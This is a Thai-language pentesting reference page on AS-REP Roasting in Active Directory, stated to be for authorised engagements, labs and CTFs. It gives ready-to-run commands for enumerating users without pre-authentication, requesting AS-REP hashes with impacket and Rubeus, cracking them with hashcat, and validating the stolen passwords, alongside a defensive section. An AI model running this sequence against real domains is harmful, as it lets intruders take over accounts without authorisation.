คลัง
active-directory

AS-REP Roasting

AS-REP Roasting โจมตีบัญชีที่ปิด Kerberos pre-authentication (DONT_REQUIRE_PREAUTH) — ขอ AS-REP ได้โดยไม่ต้องรู้รหัส แล้วนำส่วนที่เข้ารหัสด้วย hash ของ user ไป crack offline ต่างจาก Kerberoasting ตรงที่ไม่ต้องมี credential เลยก็ทำได้ บทนี้ลงลึกกลไก pre-auth, การหาเป้า, การ request, crack และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#asrep-roasting#active-directory#kerberos#preauth#hashcat#ctf

1. หลักการ — pre-authentication คืออะไร

ปกติ Kerberos บังคับ pre-authentication: ก่อนออก AS-REP (ขั้นแรกของ Kerberos) user ต้องพิสูจน์ว่ารู้รหัสด้วยการส่ง timestamp ที่เข้ารหัสด้วย hash ของตัวเอง — กันการขอ AS-REP มั่ว แต่ถ้าบัญชีตั้ง flag DONT_REQUIRE_PREAUTH โดเมนจะออก AS-REP ให้ใครก็ได้ที่ขอ โดยไม่ต้องพิสูจน์ และ AS-REP มีส่วนที่เข้ารหัสด้วย hash ของ user นั้น — เรานำมา crack offline หารหัสได้ โดยไม่ต้องมี credential ใดๆ เลย (แค่รู้ username)

เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาต (engagement/lab/CTF) เท่านั้น

2. ต่างจาก Kerberoasting อย่างไร

AS-REP RoastingKerberoasting
ต้องมี credential?ไม่ต้อง (แค่รู้ username)ต้อง auth แล้ว
เป้าหมายuser ที่ปิด pre-authบัญชีที่มี SPN
crack อะไรhash ของ user เองhash ของ service account
hashcat mode1820013100
ข้อจำกัดต้องมี user ที่ปิด pre-authต้องมี SPN account

AS-REP Roasting ทรงพลังตรงที่ไม่ต้องมี credential — ถ้ารู้รายชื่อ user (จาก enumeration) ลองขอ AS-REP ของทุกคน คนที่ปิด pre-auth จะได้ hash มา crack ทันที

3. หาบัญชีที่ปิด pre-auth

หาเป้า (มี/ไม่มี credential)
# มี credential — list ผู้ที่ปิด pre-auth
GetNPUsers.py domain.local/user:password -dc-ip 10.10.10.10 -request

# ไม่มี credential — ลองจากรายชื่อ user (userlist.txt)
GetNPUsers.py domain.local/ -dc-ip 10.10.10.10 -usersfile userlist.txt -no-pass -format hashcat -outputfile asrep.txt

# PowerView (บนโดเมน)
# Get-DomainUser -PreauthNotRequired | select samaccountname

# BloodHound: query "Find AS-REP Roastable Users"
ไม่มี credential ก็ทำได้ด้วย -no-pass + userlist — คนที่ปิด pre-auth จะได้ hash, คนอื่น error (ไม่ได้ hash)

4. Request AS-REP

impacket / Rubeus
# impacket (Linux) — ได้ hash format hashcat เลย
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

# เจาะ user เดียวที่รู้ว่าปิด pre-auth
GetNPUsers.py domain.local/svc_user -no-pass -format hashcat

# Rubeus (Windows) — หาและ roast ทั้งโดเมนอัตโนมัติ
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
-format hashcat สำคัญ — ได้ hash พร้อม crack ด้วย mode 18200 ทันที

5. Crack offline

crack AS-REP hashLinux
# AS-REP = hashcat mode 18200
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# + rule
hashcat -m 18200 asrep.txt rockyou.txt -r rules/best64.rule

# ดูผล
hashcat -m 18200 asrep.txt --show
# ได้ password ของ user → login / pivot ต่อ
mode 18200 (ต่างจาก Kerberoast 13100); ดู Hashcat Playbook สำหรับ wordlist/rule

6. การป้องกัน

  • ไม่ปิด pre-authentication เว้นแต่จำเป็นจริงๆ (เป็น default ที่ควรคงไว้)
  • audit บัญชีที่ตั้ง DONT_REQUIRE_PREAUTH เป็นระยะ
  • ใช้รหัสยาว/ซับซ้อนกับบัญชีที่จำเป็นต้องปิด pre-auth
  • monitor Event 4768 (AS-REQ) ที่ไม่มี pre-auth จำนวนมาก
  • honey account ที่ปิด pre-auth ดักจับ

7. Quick Reference

  • โจมตี user ที่ปิด pre-auth (DONT_REQUIRE_PREAUTH) — ไม่ต้องมี credential
  • หา: GetNPUsers.py domain/ -usersfile users.txt -no-pass
  • request: GetNPUsers.py ... -format hashcat -outputfile asrep.txt
  • หรือ Rubeus.exe asreproast /format:hashcat
  • crack: hashcat -m 18200 asrep.txt rockyou.txt
  • ต่างจาก Kerberoast: ไม่ต้อง auth, crack hash ของ user (mode 18200)
  • ป้องกัน: ไม่ปิด pre-auth, audit flag, รหัสยาว, monitor 4768

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติมาถึงหัวข้อนี้เพราะ BloodHound/เดา username ชี้ว่ามี user ที่ปิด pre-auth (หรือแค่มีรายชื่อ user แต่ยังไม่มี credential เลย) มีแค่ Kali ทำตามนี้ทีละขั้น — จุดเด่นคือไม่ต้องมี credential ก็เริ่มได้

  1. 1หา user list ก่อน (จาก null session/BloodHound/OSINT) หรือเดา: kerbrute userenum -d domain.local --dc <DC_IP> userlist.txt
  2. 2ยิง AS-REP roast แบบไม่มี credential เลย: GetNPUsers.py domain.local/ -dc-ip <DC_IP> -usersfile userlist.txt -no-pass -format hashcat -outputfile asrep.txt
  3. 3ดูว่ามี hash ออกมาไหม (คนที่ error STATUS_NOT_REQUIRE = ไม่ใช่เป้า ข้ามได้)
  4. 4ถ้ามี credential อยู่แล้ว list ทุกคนที่ปิด pre-auth ได้เลย: GetNPUsers.py domain.local/user:pass -dc-ip <DC_IP> -request
  5. 5crack hash ที่ได้: hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
  6. 6ถ้า crack ไม่ออกด้วย rockyou ลองเพิ่ม rule: hashcat -m 18200 asrep.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
  7. 7ดูผล: hashcat -m 18200 asrep.txt --show
  8. 8ได้ password แล้ว → ยืนยัน login: netexec smb <DC_IP> -u user -p 'password' แล้วไปรัน BloodHound ด้วย cred ใหม่
  9. 9ถ้าไม่มีใครปิด pre-auth เลย (ตัน) → ไปทำ Kerberoasting แทน (ถ้ามี creds) หรือกลับไปหา user list เพิ่ม
ไม่มี credential ก็เริ่มได้ — ไปต่ออย่างไร
มี user list ไหม?
✅ มี (จาก null session/OSINT/BloodHound)→ ยิง AS-REP roast แบบไม่ auth
❌ ไม่มีเลย→ เดา username ด้วย kerbrute userenum ก่อน
kerbrute userenum -d domain.local --dc DC userlist.txt
✅ เจอ username→ กลับไปยิง AS-REP roast
❌ ไม่เจอเลย→ ต้องหา user list จากที่อื่น (LinkedIn/web/format email)
GetNPUsers.py -usersfile ... -no-pass -format hashcat
✅ ได้ hash อย่างน้อย 1 คน→ crack ด้วย hashcat -m 18200
❌ ทุกคน error (ไม่มีใครปิด pre-auth)→ ถ้ามี creds แล้วลอง Kerberoasting แทน
hashcat -m 18200 asrep.txt rockyou.txt (+rule ถ้าไม่ออก)
✅ crack ออก→ login ด้วย password ที่ได้ แล้วรัน BloodHound ต่อ
❌ crack ไม่ออกเลย→ ลอง wordlist/rule อื่น หรือถือ hash ไว้ก่อนไปทำทางอื่น
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา/เดา username-kerbrute (git clone + go build)-
ยิง AS-REP roastimpacket (GetNPUsers.py)pipx install impacket-
crack hash (mode 18200)hashcat-hashes.com
wordlist สำหรับ crackrockyou.txt (/usr/share/wordlists)--
ทดสอบ credential ที่ได้netexec (crackmapexec)apt install netexec-
อ้างอิงเทคนิค/syntax--wadcoms.github.io, thehacker.recipes
🚑 ถ้าตันสนิท ลองท่าถัดไป: BloodHound (หา user list/target เพิ่มจากกราฟ) · Kerberoasting (ถ้าไม่มีใครปิด pre-auth แต่มี creds แล้ว) · Hashcat Playbook (ถ้า crack ไม่ออกต้องปรับ wordlist/rule) · ACL Abuse (ถ้าได้ cred ใหม่แล้วมี write บน object อื่น)

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้